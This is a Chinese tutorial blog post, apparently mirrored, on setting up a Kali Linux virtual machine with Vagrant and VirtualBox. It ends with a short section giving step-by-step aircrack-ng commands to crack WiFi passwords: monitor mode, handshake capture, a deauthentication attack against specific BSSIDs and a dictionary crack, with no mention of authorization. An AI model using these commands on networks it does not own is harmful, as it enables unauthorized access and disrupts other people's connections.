当前位置: 首页 > news >正文

使用vagrant、virtualbox、快速创建kali linux

使用vagrant、virtualbox、快速创建kali linux

    • 初始化kali
      • 下载vagrant相应镜像
      • vagrant添加相应镜像
      • 创建vagrantfile
      • 在vagrantfile根目录执行cmd
      • 虚拟机登录密码
      • 修改sshd配置 用shell远程链接
      • (可选)可视化界面设置成中文
      • 创建成功展示图
    • 添加实体网卡
    • 使用kali 破解WiFi密码
    • 解决 on channel 11

初始化kali

下载vagrant相应镜像

https://app.vagrantup.com/kalilinux/boxes/rolling
在这里插入图片描述

vagrant添加相应镜像

# 查看相应镜像
vagrant box list
# 下载完成添加本地镜像
vagrant box add kalilinux/rolling D:\vm\vagrant.box

创建vagrantfile

#定义Vagrant配置
Vagrant.configure("2") do |config|#新增一台虚拟机的配置config.vm.define "kali" do |config|#配置虚拟机所使用的操作系统,创建虚拟机的时候,Vagrant就会自动帮我们下载config.vm.box = "kalilinux/rolling"#重新分配虚拟机的磁盘大小,这个不是一开始就创建50G,而是随着磁盘的扩大的增加,默认是20G,要改需要装插件#配置网络 这样VBox就会帮我们创建两个网卡,第一个是内网网卡,第二个是可以和宿主机进行连接的网卡config.vm.network 'private_network', ip: '192.168.56.89'config.vm.hostname = 'kali'end
end

在vagrantfile根目录执行cmd

vagrant up

虚拟机登录密码

username: vagrant
password: vagrant

修改sshd配置 用shell远程链接

# 使用root权限
sudo su
# 修改配置
vi /etc/ssh/sshd_config
# 重启sshd
service sshd restart

在这里插入图片描述

(可选)可视化界面设置成中文

原贴:https://blog.csdn.net/m0_49025459/article/details/128561738

sudo su
sudo dpkg-reconfigure locales

按住键盘 pagedown 拉到最下面
空格选中,tab切换到ok

在这里插入图片描述
tab->ok->空格
在这里插入图片描述

创建成功展示图

在这里插入图片描述

在这里插入图片描述

添加实体网卡

在这里插入图片描述

使用kali 破解WiFi密码

https://cloud.tencent.com/developer/article/2095276

# 提升权限
sudo su
# 查看网卡
airmon-ng
# 开启网卡监控
airmon-ng start wlan0# 查看网卡
ifconfig
# 扫描wifi
airodump-ng wlan0mon
# airodump-ng wlan0mon -c 11
空格暂停 
# 等待抓取握手包
airodump-ng -w freedom -c 11 --bssid 08:40:F3:FA:32:C2 wlan0mon -ignore-nefative-oneaa
# 爆破 抓取握手包
aireplay-ng -0 5 -a 9C:2E:A1:20:65:B1 -c A4:50:46:D8:74:24 wlan0mon# 开始破解
aircrack-ng -w pass.txt freedom-*.ivs

解决 on channel 11

23:55:44 Waiting for beacon frame (BSSID: A8:6B:7C:AF:C1:D5) on channel 11
23:55:54 No such BSSID available.

airodump-ng wlan0mon -c 11


http://www.mrgr.cn/news/9295.html

相关文章:

  • iOS 17.6.1版本重发,修复高级数据保护错误
  • 【PyQt6 应用程序】PyUIC使用加载可视化文件
  • React 学习——zustand使用
  • A Neural Probabilistic Language Model
  • Vue3.0项目实战(一)——Vue3 大事件管理系统项目搭建
  • 如何向linux社区提交一个新的驱动或patch
  • 《AI办公类工具PPT系列之五——ChatBA》
  • Web AI测试WINSCP从windows同步文件到Linux脚本使用案例-测试验证成功
  • 甲方(北汽)渗透测试面试经验分享
  • jemeter压力测试入门
  • 为什么Redis6.0引入了多线程?
  • JavaEE从入门到起飞(九) ~Activiti 工作流
  • Git入门 -- 分支
  • 基于carsim的线控转向仿真(2)--齿条力观测
  • OpenCV详细介绍
  • 链表OJ题——环形链表2
  • STM32GPIO引脚八种工作模式
  • C/C++语言基础--字符串(包括字符串与字符数组、字符串与指针、字符串处理函数等),代码均可运行
  • SPSS和MATLAB实现【典型相关分析】
  • 如何通过 JavaScript 实现点击按钮下载